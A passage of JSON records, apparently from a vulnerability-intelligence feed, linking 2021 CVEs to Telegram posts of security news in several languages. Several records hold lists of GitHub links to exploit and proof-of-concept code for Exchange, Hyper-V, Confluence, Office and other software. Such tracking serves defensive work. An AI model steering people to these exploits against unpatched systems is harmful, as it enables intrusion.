CVE-2021-28834. Kramdown before 2.3.1 does not restrict Rouge formatters to the Rouge::Formatters namespace, and thus arbitrary classes can be instantiated.\n\nFIRST-EPSS: 0.017150000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-10T22:46:48.000000Z"}, {"uuid": "462a41f4-203e-4e02-9c41-021317b6087c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28041", "type": "published-proof-of-concept", "source": "Telegram/poS_ZG5aVKSKt_LXha-pFLWHU67v-9VfxvSO9FqtinvTebM", "content": "", "creation_timestamp": "2023-10-12T23:19:46.000000Z"}, {"uuid": "d98da965-83d4-4c5d-a213-6d4a7d8e1f44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "published-proof-of-concept", "source": "https://t.me/BABATATASASA/5882", "content": "Universal \"netmask\" npm package, used by 270,000+ projects, vulnerable to octal input data: server-side request forgery, remote file inclusion, local file inclusion, and more (CVE-2021-28918) - Sick Codes - Security Research, Hardware & Software Hacking, Consulting, Linux, IoT, Cloud, Embedded, Arch, Tweaks & Tips!\nhttps://sick.codes/universal-netmask-npm-package-used-by-270000-projects-vulnerable-to-octal-input-data-server-side-request-forgery-remote-file-inclusion-local-file-inclusion-and-more-cve-2021-28918/", "creation_timestamp": "2023-10-29T07:09:02.000000Z"}, {"uuid": "42b305e5-1f12-4587-9556-dc6e0f3844e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "exploited", "source": "https://t.me/q_1xx/46", "content": "\u062a\u062a\u0639\u0631\u0636 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u064a Adobe Reader \u0644\u0644\u0647\u062c\u0648\u0645 \u0628\u0627\u0644\u0641\u0639\u0644\n\n\n \u0642\u0627\u0645\u062a Adobe \u0647\u0630\u0627 \u0627\u0644\u0623\u0633\u0628\u0648\u0639 \u0628\u0625\u0635\u0644\u0627\u062d \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0641\u064a 12 \u0645\u0646\u062a\u062c\u064b\u0627 \u0645\u062e\u062a\u0644\u0641\u064b\u0627 \u060c \u0628\u0645\u0627 \u0641\u064a \u0630\u0644\u0643 \u062b\u063a\u0631\u0629 \u064a\u0648\u0645 \u0627\u0644\u0635\u0641\u0631 \u0627\u0644\u062a\u064a \u062a\u0624\u062b\u0631 \u0639\u0644\u0649 Adobe Reader \u060c \u0648\u0627\u0644\u062a\u064a \u064a\u062a\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0628\u0627\u0644\u0641\u0639\u0644 \u0645\u0646 \u0642\u0628\u0644 \u0627\u0644\u0645\u062a\u0633\u0644\u0644\u064a\u0646.\n \u062a\u0645 \u0625\u0635\u062f\u0627\u0631 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629: Adobe Experience Manager \u0648 Adobe InDesign \u0648 Adobe Illustrator \u0648 Adobe InCopy \u0648 Adobe Genuine Service \u0648 Adobe Acrobat and Reader \u0648 Magento \u0648 Adobe Creative Cloud Desktop \u0648 Adobe Media Encoder \u0648 Adobe After Effects \u0648 Adobe Medium \u0648 Adobe Animate.\n\n \u0643\u0627\u0646\u062a \u0623\u062e\u0637\u0631 \u062b\u063a\u0631\u0629 \u0647\u0630\u0627 \u0627\u0644\u0634\u0647\u0631 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a Adobe Acrobat \u0648 Reader \u060c \u0648\u0627\u0644\u062a\u064a \u062a\u0645 \u062a\u062d\u062f\u064a\u062f\u0647\u0627 \u0639\u0644\u0649 \u0623\u0646\u0647\u0627 CVE-2021-28550.  \u0648\u0641\u0642\u064b\u0627 \u0644\u0644\u0634\u0631\u0643\u0629 \u060c \u062a\u0645 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0630\u0627 \u0627\u0644\u062e\u0637\u0623 \u0644\u0640 \"\u0647\u062c\u0645\u0627\u062a \u0645\u062d\u062f\u0648\u062f\u0629 \u0636\u062f Adobe Reader \u0639\u0644\u0649 \u0623\u0646\u0638\u0645\u0629 Windows\".\n CVE-2021-28550 \u0647\u0648 \u0646\u0648\u0639 \u0644\u0627 \u064a\u0633\u062a\u062e\u062f\u0645 \u0628\u0639\u062f \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0648\u064a\u0633\u0645\u062d \u0628\u0627\u0644\u062a\u0646\u0641\u064a\u0630 \u0639\u0646 \u0628\u0639\u062f \u0644\u0644\u0631\u0645\u0632 \u0627\u0644\u062a\u0639\u0633\u0641\u064a \u060c \u0623\u064a \u0623\u0646\u0647 \u064a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0628\u062a\u0646\u0641\u064a\u0630 \u0623\u064a \u0623\u0645\u0631 \u062a\u0642\u0631\u064a\u0628\u064b\u0627 \u0639\u0644\u0649 Windows \u060c \u0628\u0645\u0627 \u0641\u064a \u0630\u0644\u0643 \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0627\u0644\u0636\u0627\u0631\u0629 \u0623\u0648 \u0627\u0644\u0633\u064a\u0637\u0631\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0636\u0639\u064a\u0641.\n \u0641\u064a \u0627\u0644\u0645\u062c\u0645\u0644 \u060c \u0642\u0627\u0645\u062a Adobe \u0628\u062a\u0635\u062d\u064a\u062d 43 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0645\u0646\u062a\u062c\u0627\u062a\u0647\u0627 (\u0644\u0627 \u062a\u0634\u0645\u0644 \u062a\u0628\u0639\u064a\u0627\u062a Adobe Experience Manager) \u060c \u0648 14 \u0645\u0646\u0647\u0627 \u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u064a\u0647\u0627 \u0641\u064a Adobe Acrobat \u0648 Reader.", "creation_timestamp": "2021-12-30T23:08:28.000000Z"}, {"uuid": "8eb41f62-ed3c-4722-ba61-1bd94637e64f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28655", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/2167", "content": "Cybersecurity news -\ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06 #Pentesting \n\n\u200aPlay ransomware claims attack on German hotel chain H-Hotels\n\nhttps://www.bleepingcomputer.com/news/security/play-ransomware-claims-attack-on-german-hotel-chain-h-hotels/\n\n\u200aCVE-2021-28655: Apache Zeppelin arbitrary file deletion vulnerability\n\nhttps://securityonline.info/cve-2021-28655-apache-zeppelin-arbitrary-file-deletion/\n\n\u200aHavoc: modern and malleable post-exploitation command and control framework\n\nhttps://securityonline.info/havoc-modern-and-malleable-post-exploitation-command-and-control-framework/\n\n\u200aHacked Ring Cams Used to Record Swatting Victims\n\nhttps://krebsonsecurity.com/2022/12/hacked-ring-cams-used-to-record-swatting-victims/\n\nEDR evasion with hardware breakpoints\n\nhttps://cymulate.com/blog/blindside-a-new-technique-for-edr-evasion-with-hardware-breakpoints\n\nPort knocking from the scratch\n\nhttps://antonio-cooler.gitbook.io/coolervoid-tavern/port-knocking-from-the-scratch\n\nDay 3 \u2014 Next Level Font Obfuscation\n\nhttps://medium.com/@doctoreww/day-3-next-level-font-obfuscation-7a6cd978c7a5\n\nGatekeeper\u2019s Achilles heel: Unearthing a macOS vulnerability\n\nhttps://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability\n\nMeshyJSON: A TP-Link tdpServer JSON Stack Overflow.\n\nhttps://research.nccgroup.com/2022/12/19/meshyjson-a-tp-link-tdpserver-json-stack-overflow\n\n\u200b\u200bSentinelSneak: Malicious PyPI module poses as security software development kit\n\nhttps://blog.reversinglabs.com/blog/sentinelsneak-malicious-pypi-module-poses-as-security-sdk\n\n\u200b\u200bFontuscator\n\nA way to use fonts to obfuscate text. See the demo below for an example.\n\nhttps://github.com/DoctorEww/Fontuscator\n\nDemo:\nhttps://doctoreww.github.io/Fontuscator/\n\n\ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06\nwww.ghostclan.org", "creation_timestamp": "2022-12-24T02:43:41.000000Z"}, {"uuid": "c937ea05-babd-4458-a06e-be0c3deccd7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/186", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "creation_timestamp": "2021-09-18T23:06:09.000000Z"}, {"uuid": "8d090c7c-8d92-4c83-ad59-23860070d50f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/186", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "creation_timestamp": "2021-09-18T23:06:09.000000Z"}, {"uuid": "53cc9f21-3336-4bf7-94f8-d167ca7bbdab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/CyberSecurityIL/3224", "content": "\u05d4-NSA \u05de\u05d3\u05d5\u05d5\u05d7\u05d9\u05dd \u05db\u05d9 \u05de\u05e6\u05d0\u05d5 \u05de\u05e1\u05e4\u05e8 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05e9\u05e8\u05ea\u05d9 Exchange, \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05d5\u05e6\u05d9\u05d0\u05d4 \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05dc\u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd.\n\n\u05dc\u05e4\u05d9 \u05d4\u05e4\u05e8\u05e1\u05d5\u05dd \u05d4-NSA \u05d3\u05d9\u05d5\u05d5\u05d7\u05d5 \u05dc\u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05e2\u05dc 4 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05de\u05e6\u05d0\u05d5 \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 \u05e2\u05dc \u05e9\u05e8\u05ea\u05d9 Exchange 2013-2019.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05d4\u05ea\u05d2\u05dc\u05d5 \u05e7\u05d9\u05d1\u05dc\u05d5 \u05d0\u05ea \u05de\u05e1\u05e4\u05e8\u05d9 \u05d4\u05de\u05e2\u05e7\u05d1 \u05d4\u05d1\u05d0\u05d9\u05dd:\n\nCVE-2021-28480\nCVE-2021-28481\nCVE-2021-28482\nCVE-2021-28483\n\n\u05db\u05d0\u05de\u05d5\u05e8, \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05d9\u05e6\u05d0 \u05d4\u05d9\u05d5\u05dd \u05de\u05d7\u05d1\u05e8\u05ea \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05e1\u05d5\u05d2\u05e8 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea.\n\nhttps://t.me/CyberSecurityIL/915", "creation_timestamp": "2021-04-14T00:12:17.000000Z"}, {"uuid": "d6ba6d86-8080-4a6b-a696-0650f5885e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/CyberSecurityIL/3224", "content": "\u05d4-NSA \u05de\u05d3\u05d5\u05d5\u05d7\u05d9\u05dd \u05db\u05d9 \u05de\u05e6\u05d0\u05d5 \u05de\u05e1\u05e4\u05e8 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05e9\u05e8\u05ea\u05d9 Exchange, \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05d5\u05e6\u05d9\u05d0\u05d4 \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05dc\u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd.\n\n\u05dc\u05e4\u05d9 \u05d4\u05e4\u05e8\u05e1\u05d5\u05dd \u05d4-NSA \u05d3\u05d9\u05d5\u05d5\u05d7\u05d5 \u05dc\u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05e2\u05dc 4 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05de\u05e6\u05d0\u05d5 \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 \u05e2\u05dc \u05e9\u05e8\u05ea\u05d9 Exchange 2013-2019.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05d4\u05ea\u05d2\u05dc\u05d5 \u05e7\u05d9\u05d1\u05dc\u05d5 \u05d0\u05ea \u05de\u05e1\u05e4\u05e8\u05d9 \u05d4\u05de\u05e2\u05e7\u05d1 \u05d4\u05d1\u05d0\u05d9\u05dd:\n\nCVE-2021-28480\nCVE-2021-28481\nCVE-2021-28482\nCVE-2021-28483\n\n\u05db\u05d0\u05de\u05d5\u05e8, \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05d9\u05e6\u05d0 \u05d4\u05d9\u05d5\u05dd \u05de\u05d7\u05d1\u05e8\u05ea \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05e1\u05d5\u05d2\u05e8 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea.\n\nhttps://t.me/CyberSecurityIL/915", "creation_timestamp": "2021-04-14T00:12:17.000000Z"}, {"uuid": "3296452d-6cd8-4951-9438-04d2576fd81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/CyberSecurityIL/3224", "content": "\u05d4-NSA \u05de\u05d3\u05d5\u05d5\u05d7\u05d9\u05dd \u05db\u05d9 \u05de\u05e6\u05d0\u05d5 \u05de\u05e1\u05e4\u05e8 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05e9\u05e8\u05ea\u05d9 Exchange, \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05d5\u05e6\u05d9\u05d0\u05d4 \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05dc\u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd.\n\n\u05dc\u05e4\u05d9 \u05d4\u05e4\u05e8\u05e1\u05d5\u05dd \u05d4-NSA \u05d3\u05d9\u05d5\u05d5\u05d7\u05d5 \u05dc\u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05e2\u05dc 4 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05de\u05e6\u05d0\u05d5 \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 \u05e2\u05dc \u05e9\u05e8\u05ea\u05d9 Exchange 2013-2019.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05d4\u05ea\u05d2\u05dc\u05d5 \u05e7\u05d9\u05d1\u05dc\u05d5 \u05d0\u05ea \u05de\u05e1\u05e4\u05e8\u05d9 \u05d4\u05de\u05e2\u05e7\u05d1 \u05d4\u05d1\u05d0\u05d9\u05dd:\n\nCVE-2021-28480\nCVE-2021-28481\nCVE-2021-28482\nCVE-2021-28483\n\n\u05db\u05d0\u05de\u05d5\u05e8, \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05d9\u05e6\u05d0 \u05d4\u05d9\u05d5\u05dd \u05de\u05d7\u05d1\u05e8\u05ea \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05e1\u05d5\u05d2\u05e8 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea.\n\nhttps://t.me/CyberSecurityIL/915", "creation_timestamp": "2021-04-14T00:12:17.000000Z"}, {"uuid": "48ad3932-fe88-4d8c-b565-d566b943171d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/CyberSecurityIL/3224", "content": "\u05d4-NSA \u05de\u05d3\u05d5\u05d5\u05d7\u05d9\u05dd \u05db\u05d9 \u05de\u05e6\u05d0\u05d5 \u05de\u05e1\u05e4\u05e8 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05e9\u05e8\u05ea\u05d9 Exchange, \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05d5\u05e6\u05d9\u05d0\u05d4 \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05dc\u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd.\n\n\u05dc\u05e4\u05d9 \u05d4\u05e4\u05e8\u05e1\u05d5\u05dd \u05d4-NSA \u05d3\u05d9\u05d5\u05d5\u05d7\u05d5 \u05dc\u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05e2\u05dc 4 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05de\u05e6\u05d0\u05d5 \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea \u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 \u05e2\u05dc \u05e9\u05e8\u05ea\u05d9 Exchange 2013-2019.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e9\u05d4\u05ea\u05d2\u05dc\u05d5 \u05e7\u05d9\u05d1\u05dc\u05d5 \u05d0\u05ea \u05de\u05e1\u05e4\u05e8\u05d9 \u05d4\u05de\u05e2\u05e7\u05d1 \u05d4\u05d1\u05d0\u05d9\u05dd:\n\nCVE-2021-28480\nCVE-2021-28481\nCVE-2021-28482\nCVE-2021-28483\n\n\u05db\u05d0\u05de\u05d5\u05e8, \u05e2\u05d3\u05db\u05d5\u05df \u05d3\u05d7\u05d5\u05e3 \u05d9\u05e6\u05d0 \u05d4\u05d9\u05d5\u05dd \u05de\u05d7\u05d1\u05e8\u05ea \u05de\u05d9\u05d9\u05e7\u05e8\u05d5\u05e1\u05d5\u05e4\u05d8 \u05d4\u05e1\u05d5\u05d2\u05e8 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea.\n\nhttps://t.me/CyberSecurityIL/915", "creation_timestamp": "2021-04-14T00:12:17.000000Z"}, {"uuid": "f63a9746-9cd5-44a0-83b7-a210f99f8816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28957", "type": "seen", "source": "https://t.me/true_secator/4074", "content": "Splunk \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Splunk Enterprise, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u044b.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f CVE-2023-22939 \u0438 CVE-2023-22935 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 8,1. \u041e\u0431\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c Splunk Web \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u044f\u0437\u044b\u043a\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u043e\u0438\u0441\u043a\u0430 (SPL) \u0434\u043b\u044f \u0440\u0438\u0441\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\u00a0\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 